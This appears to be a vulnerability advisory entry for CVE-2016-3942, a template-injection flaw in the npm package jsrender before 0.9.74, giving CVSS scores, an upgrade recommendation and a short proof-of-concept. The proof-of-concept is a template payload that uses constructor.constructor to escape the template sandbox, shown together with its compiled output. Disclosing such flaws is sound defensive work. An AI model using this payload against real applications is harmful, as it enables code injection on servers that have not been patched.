CVE-2016-3942 – jsrender

Package

Manager: npm
Name: jsrender
Vulnerable Version: >=0 <0.9.74

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

EPSS: N/A pctlN/A

Details

Template Injection in jsrender Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input. ## Proof of Concept ```js //POC-REQUEST {{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}} {{:#data}} {{/for}} ``` ```js //POC-RESPONSE function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; } ``` ## Recommendation Update to version 0.9.74 or later.

Metadata

Created: 2020-09-01T15:24:24Z
Modified: 2023-09-07T20:41:26Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-r87w-47m8-22w3/GHSA-r87w-47m8-22w3.json
CWE IDs: ["CWE-94"]
Alternative ID: GHSA-r87w-47m8-22w3
Finding: F422
Auto approve: 1